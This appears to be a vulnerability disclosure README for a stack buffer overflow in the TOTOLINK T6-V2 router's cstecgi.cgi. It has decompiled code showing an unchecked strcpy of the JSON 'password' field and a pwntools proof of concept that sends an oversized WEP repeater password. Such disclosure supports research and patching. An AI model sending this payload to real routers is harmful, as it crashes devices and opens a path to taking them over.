d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_00413f80` (at address 0x413f80) gets the JSON parameter `password`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_00413f80 -  (cstecgi.cgi)
106   local_22c = 0;
107   local_228 = 0;
108   local_224 = 0;
109   ssid_ptr = websGetVar(param_1,"ssid","");
110   bssid_ptr = websGetVar(param_1,"bssid","");
111   encrypt_ptr = (char *)websGetVar(param_1,"encrypt","");
112   cipher_ptr = (char *)websGetVar(param_1,"cipher","");
113   password_ptr = (char *)websGetVar(param_1,"password","");
114   opmode_ptr = (char *)websGetVar(param_1,"channel","0");
115   channel_value = atoi(opmode_ptr);
116   opmode_ptr = (char *)websGetVar(param_1,"opmode","");
117   __nptr = (char *)websGetVar(param_1,"WiFiIdx","0");
118   wifi_index = atoi(__nptr);
119   local_20c = 0;
120   sprintf((char *)&local_248,"wlan%d",wifi_index);
121   sprintf((char *)&local_240,"wlan%d-vxd",wifi_index);
122   sprintf((char *)&local_230,"wlan%d-vxd",1 - wifi_index);
123   FUN_00422298(&local_248);
124   apmib_get(0xc0,&local_21c);
125   if ((local_21c == 0) && (iVar1 = strcmp(opmode_ptr,"wisp"), iVar1 == 0)) {
126     local_220 = 0;
127     apmib_set(0x69,&local_220);
128   }
129   apmib_set(0x1bbc,bssid_ptr);
130   apmib_set(2,&channel_value);
```

The program gets the JSON parameter `encrypt`, `password`, `opmode`. When `encrypt` is equal to `WEP` and `opmode` is equal to `rpt`, the program will enter the branch at line 268.

Decompile: FUN_00413f80 - (cstecgi.cgi)

```
247       local_68 = 0;
248       local_64 = 0;
249       local_60 = 0;
250       local_5c = 0;
251       local_58 = 0;
252       local_54 = 0;
253       local_50 = 0;
254       local_104 = 1;
255       iVar1 = strncmp(cipher_ptr,"OPEN",5);
256       local_70 = (uint)(iVar1 != 0);
257       if (local_208 == 1) {
258         if (sVar2 == 10) {
259           local_78 = 1;
260         }
261         else {
262           if (sVar2 == 0x1a) {
263             local_78 = 2;
264           }
265         }
266         FUN_004232bc(password_ptr,&local_6c,sVar2);
267       }
268       else {
269         if (sVar2 == 5) {
270           local_78 = 1;
271         }
272         else {
273           if (sVar2 == 0xd) {
274             local_78 = 2;
275           }
276         }
277         strcpy((char *)&local_6c,password_ptr);
278       }
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiRepeaterCfg",
    "opmode": "rpt",
    "encrypt": "WEP",
    "password": "A"*0x400,
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
```

```
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```